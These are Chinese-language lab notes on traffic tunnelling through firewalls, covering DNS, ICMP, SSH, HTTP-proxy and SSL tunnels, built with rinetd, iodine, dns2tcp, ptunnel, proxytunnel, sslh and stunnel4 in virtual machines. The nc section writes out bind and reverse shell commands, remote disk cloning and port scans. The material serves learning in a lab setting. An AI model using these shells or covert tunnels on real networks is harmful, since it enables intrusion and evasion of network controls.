流量操控与隧道

旧文迁移,关于流量操控的工具用法,以前的笔记合集,可能很乱。。。

环境搭建


实验时需要的两个需要的环境

monowall

为了模拟更加真实的环境(在流量操控中也会用到),现在写下monowall的使用,mono就是一种软件防火墙。

这是网络图(技术问题,不要吐槽),左面红色是选择了host-only模式的3台主机,处于同一局域网,中间是mono防火墙,使用了两张网卡,一张是host-only网卡,和左面三台处于同一网络,一张是桥接,将会和右边的同样使用桥接的kali,window2k3server处于同一网络。
在编辑,虚拟机网络编辑器里面将仅主机的DHCP服务关闭(否则等会其他主机可能是接受虚拟机的DHCP而非mono的)

首先下载软件,软件是很小的,就几十M,下载ISO文件,和正常的系统安装方法一样,在虚拟机里面安装,安装很简单就不介绍了,安装后为它指定两张网卡,一张是桥接,一张是host-only

在网卡那里点击高级会看到那张网卡的mac地址,记住,等下好分网卡

这里host-only是00**75,打开mono,开机后画面如图,选择1

会显示当前存在的网卡,名称,地址,先是选择lan地址,使用host-only这张网卡

然后选择wan卡,其实可以直接回车自动识别,设置好后主界面选2设置lan

这里就设置自己的ip为10.21.11.1,自己用掩码选24就够了,然后开启DHCP服务,设置lan能够使用的ip地址段,先写开始,再写结束,只要符合那个网段就好了

现在差不多可以用了,再来重置一下mono的网页面板的管理密码,选3,重置后密码是mono,用户名是admin

这时差不多就好了,然后Windowsxp1,选择自动获取网络配置,再去查看就会看到连上了mono这时可以在浏览器里面试着访问网页,发现是可以访问的,这与host-only不符,因为是连上了mono,而mono还有桥接网卡,所以能上网。
然后我们需要再去配置mono,就是打开地址10.21.11.1,输入账号进入配置页面

我们就可以在这里进行常规的设置,主要要使用的就是rules规则选项

而且一般设置的也就是lan的规则,默认已经有一条规则了,这条规则是允许所有协议(所有用*表示),来源为lan这个里面的网络的任何端口到外面任何地址的任何端口,相当于没有设置拦截规则,绿色表示生效,灰绿色箭头是失效,右边的操作是删除规则,编辑规则,添加规则,现在先禁用默认的,再去添加规则

第一个是哪种类型的规则,选择允许匹配的通过,使用pass,然后是否失效,不选,设备默认,协议选择tcp/udp,这样就不能选择icmp类型了(后面有icmp隧道工具的使用,会在这里选择),然后source不管,来源的端口也是所有,目的地址视情况而定,一般也是所有都可以,然后目标端口可以使用协议来指定他的默认端口,例如这里指定了从53到443的所有端口都开放,这样是不会影响正常的网页浏览的,其他不管,再去改下描述信息,让它好记就好了。
这样这条规则就是内网可以以任何端口发起连接,可以连接任意地址的53-443端口,这是初步了解。一般情况下如果内网被防火墙限制访问外网,还是会开通53端口的,所以以后的流量操控会只允许DNS到DNS

opensense

现在monowall已经停止维护了,取而代之的是opnsense,它们的使用方法几乎一样,下面记录下安装方法:

  1. 下载镜像,这里根据架构(64位),镜像类型(iso)与下载地区(China)选择如下,下载:
  2. 下载到的镜像是.iso.bz2的,用好压等解压一次得到.iso文件
  3. 打开vmw新建一台虚拟机,在新建的过程中注意两点,第一是在如下界面时,选择刚刚得到的iso镜像:

    接着在新建向导的最后一步处,选择自定义硬件添加一张网卡,点击完成即成功新建虚拟机:
  4. 在高级网络配置中新添加一个网段,先在编辑->高级虚拟网络编辑器 里面点击获得管理员权限,然后新建网段,这里新建了vmnet 2,新建完以后关掉dhcp服务并且设置为仅主机模式:


  5. 现在运行新建的虚拟机,选择第一种方式启动,遇到如下导入网卡可以直接回车:
  6. 到这里,可以看到系统成功识别出了两张网卡并分别为其命名了,此时打开VMware右下角的网络设置,看到有两张网卡,选中任意网卡打开高级设置能够看到对应网卡的mac地址,这样就能将VMware里的网卡与opnsense系统识别出来的网卡对应起来,(如此处可以看到em0对应着网络适配器,em1对应着网络适配器 2,现在就拿网络适配器作为lan口,将网络适配器 2作为wan口,作为wan口,它的网络连接需要连接到外部,这和平时使用虚拟机一样,选择桥接或者nat,而lan口是对内提供服务的,它需要被设置为自定义:特定虚拟网络 vmnet2这个刚刚新建的网段:

    此时再在opnsense里面是指定lan与wan的网卡:
  7. 设置完成,使用内置账户与默认密码root:opnsense登录:
  8. 和monowall一样,主要的操作还是要在web管理界面,所以,现在再打开一台虚拟机,将其网卡的网段设置为自定义:特定虚拟网络 vmnet2,它会自动获取到ip地址,此时访问http://192.168.1.1即可打开管理界面:

  9. 操作和monowall差不多,就不再记录了。

DNS搭建

为了学习dns2tcp,先来介绍下dns服务器怎么搭建,这里使用的是windows2003server,可能有点复杂。需要点dns解析的知识:
Dns在没有缓存时是从根域开始查询的,例如www.baidu.com.(这个例子实际可能是错的,不重要),先从.查.com.的权威dns服务地址,然后com域的权威dns服务器就将baidu.com这个域委派给百度的dns服务器,百度的dns服务器就能解析baidu.com这个域的dns地址,如`tieba.baidu.com,yun.baidu.com`,我们这里也是在本地虚拟一台授权服务器,让它指定一个特殊域的解析由哪个解析服务器完成。

用到kali rolling版,主机名是kali.hia.com地址是192.168.99.199负责解析的域是test.hia.com
Windows2k3server作为网络上很正常的一台公用域名解析服务器(可以想成8.8.8.8这种),然后将test.hia.com的解析委派给kali。

如图从左到右,先选管理您的服务器,添加角色选择dns服务器,安装过程中提示需要安装光盘,插入光盘即可,然后如果是DHCP形式的网络配置会提示需要改为静态的,如图,上面部分按照实际情况,下面可以填写本机(其实随意)

添加好服务气候在管理工具里面选择dns服务器,右键点击那个主机图标,新建区域

按照向导,设置一个区域名称,这样如果属于这个区域就会到指定地方解析

直接下一步就OK了

然后点击主机图标下面的正向查找区域,右击刚才建立的那个区域,选择新建主机。

填写用来指定解析特定域的dns服务器,完成后再次右击刚才创建的区域,选择新建委派,指定委派的域

然后这里会要求指定为这个域指定dns解析服务器,选择刚才创建的那台主机

这样,windows2k3就能将test.hia.com这个域的解析权交给主机名为kali.hia.com的这台dns服务器了,但是其他的域名解析他依然不知道,虽然我们在这里用不上,但是也可以为他再配置下,将其他域名的解析权交给其他的dns缓存服务器,配置方式如图,右击主机,选择转发器,对于其他域,设置解析服务器为公用的,如114.114.114.114

这样一台dns服务器就搭好了。

隧道工具


rinet

mono里已经讲到很多都只会开放53端口,对于单纯的开放53端口,可以使用端口转发功能将流量转出去,本就是使用rinet转发流量,环境比较多,看图

同样,左边是防火墙内受限的网络,中间防火墙阻隔只允许53端口的流量,右边XP开放了3389远程桌面等待连接,kali rolling版是做流量转发的(共4台虚拟机,其他的不用管)。
1:开启xp的远程桌面

右击我的电脑,属性,打开远程桌面,然后添加用户,本机是administrator,按实际来(注意,远程桌面必须要有密码才能连接)
2:设置防火墙规则


如图,其他默认不变(添加好后禁用默认规则,并且点击应用生效),然后检查一下网络,发现浏览器已经不能打开网页了
3:使用kali2.0去用nc使用53端口连接rolling版,看53端口是否连通
先来看看rolling版的地址是

开始监听

在2.0中连接,发现是可以连通的


4:在rolling中安装转发软件

1
apt-get install rinetd

然后修改配置文件

1
vim /etc/rinetd.conf

如图:

第一个是rolling本机的地址,第二个是监听的端口,后面的是要转发到的目标地址和端口(即XP的3389端口)
设置好以后启动rinet

1
rinetd

看到已经开始监听53端口了

5:在2.0中开始连接rolling的53端口
发现能够转到XP去

其他的端口也是同样的方法。。。

ssh

防火墙还是保持rinet中的配置,这次的环境如图,防火墙内是一台kali2.0和一台XP,防火墙外是kali rolling版来做ssh转发,一台xptarget靶机和一台metasploitable2靶机(最后一台可以不用。。。)。

这个方法是用ssh在kali2.0和rolling版间建立一条隧道,所有的通信都经过这条隧道完成。步骤:
1:配置好环境,参照前面的rinet和mono部分
2:设置rolling的ssh,设置方法见本站的kali使用ssh文章前部,添加一步,将端口改为53端口,如图

然后重启服务,查看可见的确监听着53端口

3:开始连接ssh
在kali2.0中输入如下命令连接,第一次会要求输入yes,然后输入密码,查看可见的确建立好了连接


然后连接目标

现在来做下命令解释

1
2
3
4
5
6
7
ssh -fCN -L 1234:192.168.99.125:3389 root@192.168.99.199 -p 53
-f 后台连接
-N 连接后不取得shell
-C 启动压缩,加快速度
(如不理解参数可以去掉他们看效果)
-L 1234为建立隧道后本地监听的端口,192.168.99.125是隧道出口转发到的目标地址(即xp靶机),3389是目标端口,root@192.168.99.199是建立隧道的另一方,即rolling版登录的账号和ip
-p 53是rolling版的监听端口。

4:但是可以看到,本地监听的是127.0.0.1:1234,是本地回环地址,同样受限的xp并不能想用2.0建立的隧道,于是可以将此隧道共享出来

如图,加了个-g参数,监听本地的12345端口,此时查看地址不再是127.0.0.1了,此时在xp里面访问,地址是kali2.0的地址,端口是2.0监听隧道的端口

可以看到这样也能连接成功,这就相当于把翻墙网络共享出去了

5:其实也发现了,这种方式在一些时候还是存在不便的,例如日常使用,每次去一个不同的主机都要建立不同的新的连接,其实是可以动态转发的

命令如图,然后就可以在浏览器里面设置代理了,端口为8888,协议是sock4/5都可以

结果如图

在同样受限的网络里面可以共享的,如图

6:最后一个命令是使用图形映射,不懂就不懂吧,我把电脑已经关了,就不演示了。。。

1
ssh –X root@192.168.99.199 –p 53

iodine

这次再来一个dns相关的工具,他会虚拟出一张网卡,然后通过那张网卡来建立一个通讯隧道,通过ifconfig查看会感觉像是真实的客户端与服务端相连了。
它支持在很多系统使用,例如win,Linux,Android。因为这里内容有点多,就不适用win2k3做中转了。环境如图:

还是防火墙只允许udp53端口。
1:下载这三个软件,安装在winxp
http://code.kryo.se/iodine/iodine-0.7.0-windows.zip
http://swupdate.openvpn.org/community/releases/openvpn-install-2.3.11-I001-i686.exe
https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
2:开启服务端
Kali rolling 里面开启服务端,指定一个网段的ip,这个ip首先不能喝自己已有的ip网段重合,然后因为客户端也会使用这个网段的ip,所以同样不能与他们的重合。

如图,输入的ip是10.0.0.1 ,然后指定自己要解析的域为hia-hia-hia.com会要求创建连接密码

此时再查看网络配置会发现多了一个dns0的设备,ip为10.0.0.1
3:客户端连接(kali)

在kali2.0里面输入:如图,因为系统指定的dns服务器是其他的,所以在这里我指定dns的地址为kali rolling的地址,后面为服务器端配置的那个域。然后会要求输入服务端的密码,输入后看到后面提示是连接成功的,此时可以看下配置

2.0里面也多了一张网卡,名字也是dns0,地址是10.0.0.2
这时隧道其实就已经建立成功,但是还是不能直接使用的,可以使用ssh在这个隧道里面通信,下面说。
4:客户端连接(windows)
下载的软件里面只有openVPN需要安装,直接下一步安装就好了,然后将iodine文件解压出来,为了方便可以放在根目录,反正就是为了等会使用cmd能够轻易进入那个目录
执行同样的命令

查看配置

自己的地址是10.0.0.3
5:使用ssh连接 (kali)
方法就是以前讲的ssh方法


这样就可以访问了,其他的应用可以用proxychain代理
6:使用ssh连接 (windows)


打开putty,这样设置,连接,输入账号和密码即可,其他和kali一样

*cat

目前开了四台虚拟机:

kali2.0:内网下主机(10.21.11.2)
win10:内网下主机(10.21.11.3)
kali2016:外网下主机(192.168.0.113)
monowall:防火墙(192.168.0.112|10.21.11.1)

NC

似乎不应该放到此处,但是其他地方也不好放,那就只能这样咯。NC-网络工具中的瑞⼠士军⼑刀,软件很小巧但功能很强大:

侦听模式 / 传输模式 
telnet / 获取banner信息 
传输⽂文本信息 
传输⽂文件/目录 
加密传输⽂文件 
远程控制/⽊马 
加密所有流量 
流媒体服务器 
远程克隆硬盘

主要的知识就是两个,监听端口,重定向。
参数:

1
2
3
4
5
6
7
-n	不做域名解析,就是只能用IP地址
-p 接端口
-l 打开监听
-c 去连接
-v 显示详细信息
-q 后接时间,单位为s,意思后完成一个任务1秒后断开连接
-c 后接bash或者cmd

如果要被连接,就用监听一个端口,如果要连接,就去输入IP地址和端口,他可以配合多个工具在用管道重定向等实现很多功能
1:TELNET / BANNER

1
2
3
nc –nv 1.1.1.1 110 		//这是去连接1.1.1.1的100端口,如果连接成功就能接受到欢迎信息了
nc –nv 1.1.1.1 25 //因此,可取登录邮箱,Telnet等
nc –nv 1.1.1.1 80

2:传输⽂文本信息

1
2
3
A:nc -l -p 4444		//这是在接收端监听4444端口,当别的设备来连接这个端口,就能将输入的信息输出了,默认输出设置是屏幕,可用重定向输出到文件
B:nc –nv 1.1.1.1 4444 //这是连接一个设备的4444端口。这样就能相互发送数据了
远程电⼦子取证信息收集

3:传输⽂文件/目录

1
2
3
4
5
6
7
8
9
10
11
12
#传输⽂文件 
A:nc -lp 333 > 1.mp4 //这就是将收到的数据重定向到一个文件
B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1 //这是讲一个文件重定向成为输入,与上面配合就能实现文件传输了

A:nc -q 1 -lp 333 < a.mp4 //这个是文件发送方打开监听端口,当被连接时就把文件传输给连接此端口的人
B: nc -nv 1.1.1.1 333 > 2.mp4
#传输目录
A:tar -cvf - music/ | nc -lp 333 –q 1 //这里就是下将文件夹打包成一个文件再传输
B:nc -nv 1.1.1.1 333 | tar -xvf – //这时收到文件在解包
#加密传⽂文件
A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4 //收到文件后先解密再存储
B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1 //和上面一样的,只是这是先加密再传输

4:流媒体服务

1
2
A: cat 1.mp4 | nc -lp 333 
B: 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -

5:端⼝口扫描

1
2
nc -nvz 1.1.1.1 1-65535 
nc –vnzu 1.1.1.1 1-1024

6:远程克隆硬盘

1
2
3
#远程电⼦子取证,可以将⺫⽬目标服务器硬盘远程复制,或者内存。
A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1

7:远程控制

1
2
3
4
5
6
7
正向: 
A:nc -lp 333 -c bash //这里讲一个bash放到监听端口里,别人一连接就相当于的到一个shell窗口,可以执行各种命令
B:nc 1.1.1.1 333
反向:
A:nc -lp 333
B:nc 1.1.1.1 333 -c bash //这是将自己的bash发给其他主机监听的端口,那台主机就能来操作自己的电脑了
注:Windows⽤用户把bash改成cmd;

8:NCAT
Nc缺乏加密和⾝身份验证的能⼒力,可以使用它代替,Ncat包含于nmap⼯工具包中

1
2
3
4
A:ncat ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl 
#前面看到,这种连接是不需要任何认证的,只需要IP和端口就能连接,
#而且还是明文传输内容很不安全,使用ncat可以限制只有指定的IP能够访问,还能使用ssl加密
B:ncat -nv 1.1.1.1 333 --ssl

NCAT

被称为众多NC衍生版软件中最优的选择。这里使用它的代理功能,在kali上执行此命令,就会成为一个http代理服务器,在其他电脑上设置此代理就可代理上网。Kali2.0上:

1
ncat -l 8080 --proxy-type http --proxy-auth hiahiahia:hiahiahia


这样就在kali2.0上开启了http代理,账号和密码都是hiahiahia,此时在win10的浏览器里设置代理:

然后会弹框输入账号密码完成验证,然后代理就生效了。

在有就是中介功能,在kali上执行此命令,就会成为一个中介,其他主机可以连接此中介,然后那些主机就相互联通了,可以发送消息,执行命令,发送文件。。
服务器上,ncat -l 333 --broker
客户端电脑,ncat 10.21.11.2:333 (直接通信)
客户端电脑,ncat 10.21.11.2:333 --sh-exec "echopwd"(命令执行)
客户端电脑,ncat --send-only 10.21.11.2:333 < filename(文件传输)

SOCAT

被称为nc++(增强版x2的nc):双向数据流通道工具
(突然发现本文不需要配置防火墙,但是就不修改文首的实验配置了,下一篇会用到。。。)
以下示例都是kali2016作服务端,2.0作客户端,两张图为一组,先设置服务端再设置客户端。
直接建立通信:

(注意,socat后面又根短横线表示标准输入输出,若输出到文件或从文件输入数据就不需要这个)

传输文件:

这里是监听25号端口,将收到的数据以新建的方式存在hia.txt里面,后续传输数据作为追加。

命令执行:


端口转发:

监听TCP的1234端口,将数据转发到192.168.0.1的80端口(路由器管理页面)

可见转发成功。。。

ptunnel

它是Ping tunnel ICMP隧道工具,通过ICMP echo和reply实现隧道,一般在最严厉的防火墙策略下也会允许icmp数据通信,所以这个很有用的。可见它适用于防火墙只允许ping出站流量的环境(当然这个也可以用于允许dns通信的,接-udp参数即可),而且它有如下优点:

支持多并发连接,性能优:执行一条命令就会打开一条隧道,可以同时建立多个隧道
支持身份验证:只有输入正确密码才能建立隧道
支持抓包:
    windows:winpcap
    linux:libpcap

工作过程:
proxy,client,destination
服务器:

1
ptunnel -x hiahiahia

这样就开启监听了(icmp的,省去指定端口环节,-x key可选,建议添加更加安全)
客户端:

1
ptunnel -p 192.168.0.113 -lp 2222 -da 192.168.0.113 -dp 22 -x hiahiahia

参数意思如下:

1
2
3
4
5
-p 接服务端地址
-lp 接本地监听端口(它会监听一个TCP端口)
-da 这条隧道出口的目标地址
-dp 这条隧道出口的目标端口
-x 接密码

(这样就建立了一条TCP隧道(其实可以传输任意协议数据),但是这个局限性太大,就像端口转发一样,不便捷)
所以一般都会再在隧道里面嵌套一层ssh隧道,使用动态的方式:

1
ssh -CNfg -D 7000 root@127.0.0.1 -p 2222

最后,注意。。。ptunnel直到目前(20160527)的最新版仍存在拒绝服务漏洞

proxytunnel

Proxytunnel:通过标准的http/https代理创建隧道工具
准备:
实验环境:

Kali 2016:外网    192.168.0.113    (用于使用ssh)
Ubuntu14server:外网 192.168.0.114    
物理机:外网    192.168.0.104        (用于访问HTTP服务)
Monowall:防火墙    192.168.0.110/255.255.255.0
Woobuntu:代理服务器    10.21.11.4 (这是在硬盘角落找出来的,祭奠死去的乌云。。。。)
Kali 2.0:内网pc    10.21.11.5

使用场景:

为了做更加严格的审计和防护,防火墙仅允许内网的一台代理服务器的80端口访问外网,其他的什么DNS,ICMP都禁止,而内网的电脑只能通过代理服务器代理浏览网页。
实现:
通过http 的CONNECT 方法封装信息
安装代理:

1
apt-get install squid3			(其实可以用ncat….)

配置防火墙规则:



woobuntu测试80连通:

Kali2.0测试代理生效:

实验一:将外网资源映射为内网指定端口(即,若外网目标是80端口,只需要一台主机即可)
配置squid3

1
vi /etc/squid3/squid.conf

修改,如图:



重启服务:

创建隧道:

1
proxytunnel -a 80 -p 10.21.11.4:80 -d 192.168.0.104:80


-a接本地监听的端口-p接代理服务器-d接目标地址

之所以叫做映射到本地,就是这个和直接使用代理效果一样,只是上面是本地访问

实验二:外网资源非防火墙允许端口(修改目标资源监听端口可能无法躲避防火墙深层检测)

外网代理(ubuntu14)安装squid3代理服务器并监听80端口(同上)



检查下:

创建HTTP隧道:

1
proxytunnel -a 80 -p 127.0.0.1:3128 -r 192.168.0.1:80 -d 192.168.0.2:22

-a接本地监听端口-p接内网代理地址-r接外网代理地址-d接目标地址

这样就可以通过外网的一台可控主机来访问特定的资源了!
实验三:创建ssl隧道
在上一步的基础上,可以再在里面套接一个SSL隧道以实现加密和访问UDP资源的效果!

1
ssh -CfN -D 8080 root@127.0.0.1 -p 80


实验四:ssh客户端配置自动创建代理隧道
一般来讲,套接ssl隧道是普遍用法,在日常工作中常用,可以创建配置文件来简化步骤!

1
vi ~/.ssh/config

Host 192.168.1.1    目标主机地址
Hostname 192.168.0.1    目标主机名
ProtocolKeepAlives 30    存活时间(一段时间没有流量就自动关闭隧道)
ProxyCommand /usr/bin/proxytunnel -p 1.1.1.1:3128 -r 192.168.1.1:80 -d %h:%p 

这样配置,以后就可以直接使用如下这种方式建立隧道了。

sslh

Sslh:端口分配器, 监听一个端口,根据客户端第一个包检测协议类型,判断客户端期待访问的资源,并转发给匹配的资源,(根据协议检测结果将流量转发给不同目标)支持HTTP,HTTPS,SSH,OpenVPN,停车,XMPP和其他可基于正则表达式判断的协议类型,适用于防火墙允许443端口入站访问流量的环境

本次的实验和以前的就不一样了,这次是外网访问内网的资源!
大写的PS:
本来打算在内网服务器上配置https,不过不知道哪里出问题了,用了两个多小时都没有解决,然后我就只能在公网找现成的,接着配置防火墙时也不知道哪里出了问题,网络不通,所以这里先写下这两个的配置方法,以后有时间再来排错(在本例中并不重要)
实验环境:

Kali 2.0:内网 10.21.11.2 (后来舍弃防火墙了,所以有了外网地址:192.168.0.117)
Mono :防火墙 10.21.11.1/192.168.0.117
Kali2016:外网 192.168.0.114

配置HTTPS:
因为这里实验用,就生成自签名证书即可,如图



然后编辑/etc/apache2/sites-available/default-ssl****
(一般来说都是要修改先备份,然后这里就如图好了,懒得打字,注意看目录)



然后增加软连接:

1
ln –s /etc/apache2/mods-available/ssl.load /etc/apache2/mods-enabled/ssl.load

重启服务
配置防火墙:
这里是添加nat转发规则,如下图(第一个图上的规则是配置后才会出现)

如图配置:

可以看到规则里面的wan也新增的了规则。

配置sslh:

1
vi /etc/default/sslh


Listen是设置sslh的监听配置,可以直接写为0.0.0.0:443,后面的就是能识别和转发的资源。。。

配置好会如图,然而。。。上面的防火墙配置在我的电脑有问题,所以这里监听的地址需要改变一下0.0.0.0或者192.168.0.112
配置好启动服务如上图。。。
这样就可以通过不同的客户端访问同一个端口来访问不同的资源了。
访问https资源:

访问http资源(第一个是对比):

访问ssh资源:

通过nmap的扫描,可以看到443端口上被识别出很多服务,这是正确的。。。

排错:这里是的防火墙问题,是因为默认阻止了私有IP地址,而自己实验用的是私有的,关掉即可,在WAN设置里

dns2tcp

前面两种都是那种只单纯的限制为53端口通行,并为限制53端口只能是udp的域名解析,如果有这种限制,前面的方法都将失效,于是下面介绍一种将其他的数据封装在dns协议里面的工具。
实验环境六台虚拟机。。。如果受不了可适当删减活用轻量系统代替,意思和以前一样就不再赘诉。只是防火墙规则改为仅允许53的udp通过。

接上一节dns服务已经在windows2003server上配置完成,现在就可以直接配置dns2tcp了,它分为客户端和服务器端,将在kali rolling上使用服务端,kali 2.0上使用客户端。
1:配置服务端,打开配置文件

1
vim /etc/dns2tcpd.conf

配置如下

意思为:

Listen为监听的网卡,可以填本机的ip地址,也可以填0.0.0.0,这代表本机的所有网卡都监听
Port为监听端口
Domain为被委派负责解析的域,我设置的是test.hia.com
Key是连接的密码,如不需要就可以把它注释掉
Resource是资源,这个就是连接好后,rolling这台电脑能提供的服务,例如在客户端指定使用http服务,在服务端会自动将流量从53端口转到本机的8087端口,而8087端口又有GoAgent监听着,这样就相当于客户端使用服务器端的GoAgent做代理了。(注意,截图里面有两个http资源,是错的。。。懒得在截图了。。。)

2:启动服务端程序

命令如图,这样就启动监听了,可以看到支持了这些资源,这些资源是可以自己添加的,随意添加。
3:启动客户端连接

如图,因为我已经将系统的dns解析服务器改成了win2k3,所以没有指定dns服务器,若没改,就在test.hia.com后面指定win2k3的ip即可
C是启动压缩,d是信息的详细度等级,为1级,k后接连接密码123456,l后是本机的监听端口8888,r指定服务器提供的资源名,这里就测试下GoAgent的使用吧,指定http,-z就是那个域名。
确定后就建立了通道了
4:测试连接
Kali rolling里打开GoAgent,然后在2.0的浏览器里设置好代理

这是ssh测试


其他的测试就不做了,最后说下隧道是可以嵌套的,并且那个windows的dns服务器可以不设置,那样会简单很多,就不演示了。之所以设置windows的dns服务器是那样适合隐藏自己的身份,所有的通信都是通过dns服务器转发的

stunnel4

stunnel4:可无需修改源代码的情况下将TCP流量封装于SSL通道内,适用于本身不支持加密传输的应用,支持openssl安全特性,而且跨平台,性能优。
图:

实验环境:

Kali2.0:内网的应用服务器
Woobuntu:内网的stunnel4服务器
Mono:防火墙
Kali2016:stunnel4客户端和应用客户端

配置应用服务端(MySQL):
MySQL默认禁止远程登录,需要修改监听端口和账号权限:

1
vim /etc/mysql/my.cnf


Kali自带的MySQL默认密码为空,所以如图修改即可。。。

测试直接从kali2016远程连接MySQL抓包(就不写了,过程了,看下图,虽然不易读,但是可确定都是明文的)

配置stunnel4服务器:
生成证书:

1
openssl req -new -days 365 -nodes -x509 -out /etc/stunnel/stunnel.pem -keyout /etc/stunnel/stunnel.pem


如图生成了一张包含公私钥的证书。
安装stunnel4:

1
apt-get install stunnel4

创建配置文件:

1
2
3
4
5
6
7
8
vim /etc/stunnel/stunnel.conf	#创建一个一conf为后缀的配置文件
cert = /etc/stunnel/stunnel.pem #指定证书
setuid = stunnel4 #指定一什么身份运行
setgid = stunnel4
pid /var/run/stunnel4/stunnel4.pid #指定进程id
[mysql] #创建一个资源,现实中按实际添加
accept = 0.0.0.0:443 #这个资源监听的端口
connect = 1.1.1.1:3306 #目标地址


设置自动启动:

1
2
/etc/default/stunnel4
ENABLED=1 #启动即建立隧道

启动stunnel4服务端:

1
service stunnel4 start


防火墙规则:
访问规则是允许外网访问内网woobuntu的443端口:


转发规则:外网的443流量转发至woobuntu的443端口

配置客户端:

1
vim /etc/stunnel/stunnel.conf

1
vim /etc/default/stunnel4


启动服务并检查:

1
service stunnel4 start


抓包查看效果:
外网客户端访问本地的3389,实则访问内网服务端的MySQL(虽然外网客户端本地也存在MySQL,但是并没有开启)

抓包看下效果:

最后:
其实发现了,很多操作可以并不用这么麻烦,之所以这样做是想要学习或是练习更多的工具使用方法,若只为学习每篇笔记中的工具,很多东西其实是可以省略的。。。

来源


安全牛课堂-kali-linux